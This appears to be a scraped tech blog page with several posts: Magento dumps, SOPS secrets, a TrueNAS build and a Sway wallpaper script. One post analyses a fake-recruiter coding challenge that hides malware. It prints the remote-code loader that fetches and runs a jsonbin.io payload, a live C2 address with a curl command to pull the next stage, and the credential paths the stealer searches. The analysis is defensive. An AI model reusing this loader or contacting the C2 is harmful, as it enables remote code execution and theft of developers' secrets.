Skip to content
code and society | codedge

code and society | codedge

Holger Lösken, going by his freelance brand codedge, talking about all things code-related as well topics around social society. Find musings about programming languages, deployment, computer and digital stuff in general.

www.codedge.de
DATABASES AND DATA ENGINEERING

Create proper database dumps for Magento 2

When developing a Magento2 you might be needing database dumps from time to time from the production system. Normally you either dump the complete database - which, to me, bring a lot of negative side effects. - Size: Depending on the shop and the logging settings, the tables can grow up to multiple gigabytes. - Sensitive (customer) data: Getting all the (hashed) passwords, addresses and names from customers does not feel like a good idea. Depending on the companies compliance guideline you may not even allowed to have them. - Old/outdated data: Tables with logs or reports that are not necessary for your local development. Instead of now writing your own script to dump only the files you need and exclude those, you don’t want, just use the fantastic n98-magerun2. To dump a database without logs, sessions, trade data, admin users and index idx tables use: | 1 | n98-magerun.phar db:dump --strip="@development @idx" | | --- | ---------------------------------------------------- | Check the extended documentation for further groups and how to create your own groups.
TALENT ACQUISITION AND RECRUITING

How to compromise your system with a job interview

The current situation on the IT job market is hard. So you are lucky when a recruiter on LinkedIn reaches out to you having a suitable match for a new position based on your prior experience. It might not be what it seems at a first glance. “A relevant opportunity” with part-time remote work and a great hourly compensation is what surely pulls a lot of current Software Engineers into the conversation when a new job offer on LinkedIn comes in - so it happened to a friend of mine. The job offer was matching very well with the former experience and paired with speeding up the interview process with a quickly sent coding challenge after a couple of messages on LinkedIn. Info The initial contact was made in the name of a company that did not know about this. So it is pure phishing just to steal your secrets and credentials. The company is well aware of that and already published a post on LinkedIn explaining the situation. Before you start with the test, you might be suspicious about the following: - The person contacting you is not part of the company on LinkedIn - There is no first “Get to know you”-call before you receive the coding test - The test might be in a different programming language than you’re skilled in - The code is available on Bitbucket, which IMHO is uncommon - The sender email address is a @gmail.com instead of an official one from the company Hindsight is 20/20 so no judging here. ## How it beginsSVG Image The task is to solve various problems and extend logic in a given TypeScript codebase. The project you receive is - about 180 files - a mix of dead and working code - no obfuscation or minification .. but with some calls to external https://api.jsonbin.io endpoints. If you did not read the 180 files of code, you are hooked. Here is the fishy code part that starts downloading further packages to inspect your system. Warning That is the endpoint, that ships more garbage. Watch out! The complete source code can be found in this Bitbucket repository. | 1 2 3 4 5 6 7 | const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d"; const res = (await axios.get(${src})); const handler = new (Function.constructor)('require', res.data.record.model); if (handler) handler(require); }; initPriceConfig(); | | ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | The internal logic of the application always runs this function first by executing npm run dev, npm start, and so on. As it hands require in, it can: - require('child_process') for shell out - require('fs') for read/walk the filesystem, write persistence - require('net')/require('https') to open its own exfiltration channel - read process.env directly, which in this app means MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY A lot of things you desperately do not want to happen on your system. ## A closer look: second stage loaderSVG Image The response from the jsonbin.io endpoint is effectively a remote-code execution loader. The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped around a small webpack bundle. After deobfuscating the returned payload we get another bunch of obfuscated JavaScript. This code pulls data from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5. I was able to pull the next piece of code using this | 1 2 3 4 5 6 7 | curl -sS -v --max-time 30 \ -H 'Authentication: jwt' \ -H 'Accept: application/json, text/plain, /' \ -A 'axios/1.5.3' \ -D headers.txt \ -o body.bin \ 'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5' | | ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | It needs an Authentication header, with jwt as the token. This endpoint gives more obfuscated JavaScript code, in particular the following four modules: scdata: an interactive RAT (Remote Access Trojan) node-pty full shell, ssh2 for pivoting and PEM key theft, screenshot-desktop+sharp for screen capture, clipboardy, and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It also fingerprints for VM vs. bare metal. ldata: browser credential and wallet stealer. Chrome/Edge/Brave/LT across all three OSes, every profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain. It can target 28 wallet extensions like MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading roughly every minute. File grabber: walks the home directory It tries to find private key, secret phrase, metamask, bitcoin, solana, .env, *.pem, *.p12, *.pfx, plus documents and images, and whole .ssh, .aws, .gnupg and .docker directories. And, it enumerates all drive letters on Windows. Clipboard monitor: monitor your clipboard It polls the clipboard and beacons it out, hiding behind the log name npm-compiler.log. When the victim connects out to 147.189.174.138:7321, the server sees the source address on the accepted socket, exactly as any web server sees a visitor’s IP. No discovery, no scanning, no registration of an address. This is precisely why outbound-only design is so convenient for the attacker: it works behind NAT, CGNAT, a corporate proxy, or a home router with zero configuration, and it doesn’t matter if the victim’s IP changes. You opened the door to hell while you just wanted to get a job. Why can it access all your files? The malware gets the home directory of the current user and then builds the paths to look at. | 1 2 3 4 5 6 7 8 | rootDir = os.userInfo().homedir + '', configDir = [ path.join(os.homedir(), ".aws"), path.join(os.homedir(), ".ssh"), path.join(os.homedir(), ".azure"), path.join(os.homedir(), ".foundry"), path.join(os.homedir(), ".config"), //... ] | | --------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | It never asks for elevation. It doesn’t need root, UAC, or sudo, because nothing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - all of it is user-owned by design, because you need to read it routinely. A process running under your account inherits that access. Node isn’t doing anything exotic here as cat ~/.ssh/id_rsa from a shell would work identically. On Windows it goes further than home, enumerating drive letters via PowerShell and calling scanDir on each root, so mapped network drives and secondary disks are in scope too. ## Some precaution for next timeSVG Image A couple of things could have helped, although there is never 100% protection. You would just not expect such a thing from a piece of code you get for a job opportunity. - AI: a weak protection Ask your AI of choice to scan the project for any anomalies - obfuscated code, minifications, calls to external endpoints, unusual code patterns, etc. This is only a partial solution, as it would tell you the call to the jsonbin.io but it cannot see what the returned values are. - Docker: a partially weak protection Putting things into Docker and only executing the code inside isolates your host system and does not reveal any stored secret - as long as you do not mount host data into the container. - Vagrant: probably your best choice Running the code in a completely isolated system might even be the best choice. Snapshot your VM before and restore it afterwards. If there is no UI/Desktop environment the module for leaking browser data or screenshots is self-limiting. Still, the RAT and file grabber work. Note that the RAT actively fingerprints for VM usage. It runs system_profiler, reads /proc/cpuinfo, and greps for vmware, qemu, microsoft corporation, then tags the beacon (VM) or (Local). That flag most likely feeds operator triage: a VM is more likely to be a sandbox and less likely to hold real wallets, so it may get deprioritised or handled more carefully. A note on the AI part: Claude Code was not able to detect any strange things when just prompted to scan the code base for unusual patterns. ## What nowSVG Image When the damage is done you probably should: - revoke and rotate SSH keys - change passwords - check if you have any plaintext secrets or information stored that needs to be changed … and reinstall your OS - better safe than sorry. Meanwhile the fisherman’s (fake recruiter) profile has been deleted.
CLOUD COMPUTING AND DISTRIBUTED SYSTEMS

Managing secrets with SOPS in your homelab

Sealed Secrets, Ansible Vault, 1Password or SOPS - there are multiple ways how and where to store your secrets. I went with SOPS and age with my ArgoCD GitOps environment. Managing secrets in your homelab, be it within a Kubernetes cluster or while deploying systems and tooling with Ansible, is a topic that arises with almost 100% certainty. In general you need to decide, whether you want secrets to be held and managed externally or internally. - Externally managed: this includes either a self-hosted and externally hosted secrets solution like AWS KMS, password manager like 1Password or similar - Internally managed: solutions where your secrets live next to your code, no external service is need One important advantage I see with internally managed solutions is, that I do not need an extra service. No extra costs and connections, no chicken-egg-problem when hosting your passwords inside your own Kubernetes cluster, but cannot reach it when the cluster is down. Therefore I went with SOPS for both, secrets for my Ansible scripts and secrets I need to set for my K8s cluster. While SOPS can be used with PGP, GnuPG and more, I settled with age as encryption. With SOPS your secrets live, encrypted, inside your repository and can be en-/decrypted on-the-fly whenever needed. The private key for encryption should, of course, never be committed into your git repository or made available to untrusted sources. ## Setup SOPS + ageSVG Image First, we need to install SOPS, age and generate an age key. SOPS is available for all common operating systems via the package manager. I either use Mac or Arch: - Mac: brew install sops age - Arch Linux: sudo pacman -S sops age Now we need to generate an age key and link it to SOPS as the default key to encrypt with. Generate an age key Our age key will live in ~/.config/sops/age/default.agekey. | 1 | mkdir -p ~/.config/sops/age && age-keygen > ~/.config/sops/age/default.agekey | | --- | ----------------------------------------------------------------------------- | Now we tell SOPS where to find our age key. I put the next line in my .zshrc. | 1 | export SOPS_AGE_KEY_FILE=~/.config/sops/age/default.agekey | | --- | ---------------------------------------------------------- | The last thing to do is to put a .sops.yaml in your folder from where you want to encrypt your files. This file acts as a configuration regarding the age recipient (key) and how the data should be encrypted. My config file looks like this: | 1 2 3 4 5 6 7 8 | creation_rules: - path_regex: k8s/.sops.yaml$ encrypted_regex: '^(data|stringData)$' age: >- age15xzkvh5csaxu2w4x280mhwur5m8svynl3l0gdgvax2r3tt4psqpqr623ag - path_regexp: ansible/.sops.yaml$ age: >- age15xzkvh5csaxu2w4x280mhwur5m8svynl3l0gdgvax2r3tt4psqpqr623ag | | --------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - Two separate rules depending on the folder, where the encrypted files are located - Files ending with *.sops.yaml are targeted - The age key, that should be used for en-/decryption is specified You might wonder yourself about the first rule with data|stringData. I will just quote the [KSOPS docs](To make encrypted secrets more readable, we suggest using the following encryption regex to only encrypt data and stringData values. This leaves non-sensitive fields, like the secret’s name, unencrypted and human readable.) here: > To make encrypted secrets more readable, we suggest using the following encryption regex to only encrypt data and stringData values. > This leaves non-sensitive fields, like the secret’s name, unencrypted and human readable. All the configuration can be found in the SOPS docs. Let’s now look into the specifics using our new setup with either Ansible or Kubernetes. ## SOPS for AnsibleSVG Image Ansible can automatically process (decrypt) SOPS-encrypted files with the [Community SOPS Collection](Community SOPS Collection). | 1 | ansible-galaxy collection install community.sops | | --- | ------------------------------------------------ | Additionally in my ansible.cfg I enabled this plugin (see docs) via | 1 | vars_plugins_enabled=host_group_vars,community.sops.sops | | --- | -------------------------------------------------------- | Now, taken from the official Ansible docs: > After the plugin is enabled, correctly named group and host vars files will be transparently decrypted with SOPS. > > The files must end with one of these extensions: > > .sops.yaml > .sops.yml > .sops.json That’s it. You can now encrypt your group or host vars files and Ansible can automatically decrypt them. ## SOPS for KubernetesSVG Image SOPS can be used with Kubernetes with the KSOPS Kustomize Plugin. The configuration we already prepared, we only need to apply KSOPS to our cluster. I use the following manifest - see more examples in my homelab repository: | 1 2 3 4 5 6 7 8 9 10 11 | apiVersion: viaduct.ai/v1 kind: ksops metadata: name: secret-generator annotations: config.kubernetes.io/function: | exec: path: ksops files: - service_a.sops.yaml - service_b.sops.yaml | | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
COMPUTER HARDWARE AND ARCHITECTURE

My TrueNAS custom NAS build (2025)

Since years I have an off-the-shelf NAS and always wanted to build my own. I wanted somthing I control myself, I am independent from any vendor support, something I can modify to my needs. So I build a rather old-skool NAS 6 months ago. So, why is this old-skool? Well, considering the hardware it is old-skool, as it only uses old hardware, that was new 5-8 years ago. Taking into account my requirements together with the hardware it is a perfect match (for me). After I built this NAS I value older (and thus cheaper) hardware a lot more, than I did before. I understood, that a lot of newer hardware produced, is often totally overkill for me and my use-cases. ## Design goalsSVG Image I use my NAS for mainly the following tasks: - Backups * Storing photos and important documents in combination with paperless-ngx * Storing backups from my K8s Longhorn volumes - Media streaming: I stream music and music with jellyfin to all my devices Regarding the backups, there is no need for a hardware RAID aka RAID controller as I will use software for this. With that I am free to choose which RAID level I need whenever time for an upgrade has come. For the streaming part, I need to make sure the hardware is capable of doing transcoding properly. Further requirements: - Energy efficiency: My NAS runs quite some hours per day, so it needs to be somehow energy efficient to not spent tons of money. I had the goal of 25W tops. - Off-the-shelf hardware: I want some basic hardware, can be 3-5 years old, something that is always available in hardware shops around the corner, or on Ebay. - Minimal costs: I had the limit of 300 EUR tops without hard disks and I almost did all the searching for parts on Ebay or the German Kleinanzeigen. - Silence: The NAS is placed in my office at home and not in some closet or basement. So I work all day next to it, that is why it needs to be as silent as it can be. These requirements narrow down the decisions regarding the hardware a lot, but still leave plenty of parts to select from. ## Best hardware?SVG Image To check which parts fit together I used pcpartpicker.com. You get a rough idea about the costs and I cannot match incompatible parts. That is already a huge help of getting a first idea of the system. ### ComponentsSVG Image #### CaseSVG Image Fractal Node 304: 79 EUR, new Why? It jsut looks super slick. I need to admit it is not as big as it probably should be. It can carry up to 6 disk, or as much as you mainboard can control. I am with 2 SSDs and 2 HDDs right now and the case inside is pretty packed. Still enough, that the air can properly flow, but… This is just a small complaint. In general I am very happy with the choice. #### CPUSVG Image Intel i3-9100: 30 EUR, used Why? This is a good mix of a cheap part and still enough power for my requirements - transcoding. The CPU has an integrated graphics card, the Intel UHD Graphics 630b. This helps with two things: - no extra graphics card needed, which resolves in a lower energy consumption - enough power to do transcoding for one stream (maybe two as well) The i3 is mostly idle and when doing transcoding it runs at around 30% including the OS. I think, never tested, I could transcode 2 streams in parallel, but will give some more insights on this when tested. With the CPU I use the Noctua NH-U12S. Very very silent and keeps the temperature low. #### RAMSVG Image Corsair Vengeance, DDR4: 45 EUR, new Why? When building the NAS, I wasn’t able to fully grasp how much RAM the system would need. So I went with the better safe than sorry approach and put 32GB (2x16GB modules) inside. The speed of the RAM is neclectable, it just needs to be enough. I late found out, that probably 16GB would also be way enough, as the current built only consumes roughly 4GB. #### MainboardSVG Image ASUS Prime H310I-Plus R2.0, LGA 1151, 65 EUR, used Why? I wanted a cheap mainboard, hopefully without Wifi and all the cr*p, but got this. No special preference for this, it just works. One important thing was, that it support WOL (Wake-on-LAN) so I can put the NAS asleep over night and put it back on without touching it. #### PSUSVG Image Corsair RM650x: 60 EUR, used Why? The PSU has active cooling (fan) but it start at around 200W+. So the fan of never starts, as my NAS only consumes 60W maximum when under load. An even lower wattage, f. ex. 450W, would have also be sufficient, but it was hard to get preffered PSU without spending a ton of money on it. #### DisksSVG Image I run separate disks for system and storage. - Storage: 2x WD Red Plus 3.5", 8TB - OS (system): 1x KINGSTON SSD SNVP325S2, 64GB - Apps (system): 1x Samsung SSD 850 EVO, 250GB The storage is in RAID 1 (Mirror) mode, as data safety is most crucial for my needs. #### Power UsageSVG Image With the above mentioned configuration I get these wattages: - idle: 25W - load: 65W I consider these pretty good and I am happy I can run my NAS for several hours per day without needing to spend a liver to pay electricity. ## Operating System: TrueNASSVG Image As Operating System I went for TrueNAS. I also had a quick look at Unraid but went with TrueNAS in the end. I cannot tell why exactly TrueNAS convinced me more. I needed a system, that manages the RAID and storage in general, plus gives me a freedom to set up shares (SMB/NFS) and let me run some custom software via Docker, when needed. TrueNAS handles all of this very well, without much effort. Updates went smooth all the time. Additional to the backup/storage functionality I run: - Jellyfin media server - Garage S3 API server (similar to Minio, but still maintained1) - Netbird VPN to access my files from everywhere Setting up users and shares is easily done via the UI, and also starting additional apps and containers runs stable and without any effort. I run some data scrubbing tasks to keep my storage error-free for hopefully a long time. There is a lot more tasks you can set up in TrueNAS to keep Data Protection high. Cloud Syncs, periodic snapshots or replications tasks - a nice UI provides with an easy setup. TrueNAS Data Protection tasks ### Netbird VPNSVG Image Netbird VPN is no default app, that can be pulled via TrueNAS own marketplace or community. Instead you need to create a little Docker Compose script. Via Discover > Install via YAML (hidden by the three dots symbol), you can enter this compose.yml: | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | services: netbird: cap_add: - NET_ADMIN - SYS_ADMIN - SYS_RESOURCE container_name: netbird environment: - NB_SETUP_KEY=[YOUR_NETBIRD_SETUP_KEY] hostname: truenas image: netbirdio/netbird:latest network_mode: host volumes: - netbird-client:/var/lib/netbird volumes: netbird-client: name: netbird-client | | ------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | With this snippet, an Netbird client launches and your TrueNAS instance is available inside your Netbird VPN. Netbird on TrueNAS ### ZFS Storage & DatasetsSVG Image I run unencrypted ZFS storage with multiple datasets. Datasets are like a structure of the data stored, f. ex. music, movies, documents and so on. For each dataset you can set up share, NFS or SMB, to be mounted across your network. All datasets have these properties: - Compression: LZ4 - Disabled atime: do not set access time per file - Case sensitivity on - ZFS deduplication: this is something I need to think about. It is only RAM-intensive, but I have plenty of free RAM All datasets share the same amount of storage. I just monitor manually which dataset takes how much space and get a notification from TrueNAS when the storage hits critical levels. ## NetworkSVG Image My NAS gets a static DHCP lease assigned by my router. I found networking a lot easier, when devices with central functionality have static IPs. As I power off my NAS overnight and want to automatically power it on during the day, I need WOL properly working. Although the mainboard supports WOL functionality, the onboard NIC does not seem to have working WOL functionality. I ran ethtool enp3s0 and was presented with a Wake-On: d, which means Wake-on-LAN is disabled2. I configured WOL via ethtool but needed to make sure it survives a reboot. A small service, /etc/systemd/system/wol.service, now takes care of that. | 1 2 3 4 5 6 7 8 9 | [Unit] Description=Enable Wake On Lan [Service] Type=oneshot ExecStart = /sbin/ethtool --change enp3s0 wol g [Install] WantedBy=basic.target | | ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | With that my NAS supports WOL and I can use one of my other servers to power on the nas. For that I use etherwake and run it was cronjob somewhere to power on my NAS at a specific time. --- 1. Minio dropped the building and support of Docker images. Besides that, there is an ongoing severe security issue https://github.com/minio/minio/issues/21647 ↩︎ 2. More information about Wake-on-LAN https://wiki.archlinux.org/title/Wake-on-LAN ↩︎
WATER RESOURCES AND MANAGEMENT

Random wallpaper with swaybg

Setting a wallpaper in Sway, with swaybg, is easy. Unfortunately there is no way of setting a random wallpaper automatically out of the box. Here is a little helper script to do that. The script is based on a post from Silvain Durand1 with some slight modifications. I just linked the script my sway config instead of setting a background there. Sway config: ~/.config/sway/config | 1 2 | # ... exec ~/scripts/swaybg/rand_wallpaper.sh | | --- | --------------------------------------------- | The script spawns a new swaybg instance, changes the wallpaper, and kills the old instance. With this approach there is no flickering of the background when changing. | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #!/usr/bin/env sh # Wallpaper directory WP_FOLDER=~/wallpaper # Time in seconds to change wallpaper WAIT_TIME=599 while true; do PID=$(pidof swaybg) FILE=$(find "$WP_FOLDER" -type f -name '.png' -o -name '.jpg' | shuf -n1) swaybg -i "$FILE" -m fill & sleep 1 kill "$PID" sleep "$WAIT_TIME" done | | ---------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | An always up-to-date version can be found in my dotfiles. --- 1. Original script from Silvain Durand: https://sylvaindurand.org/dynamic-wallpapers-with-sway/ ↩︎
SILVAIN DURAND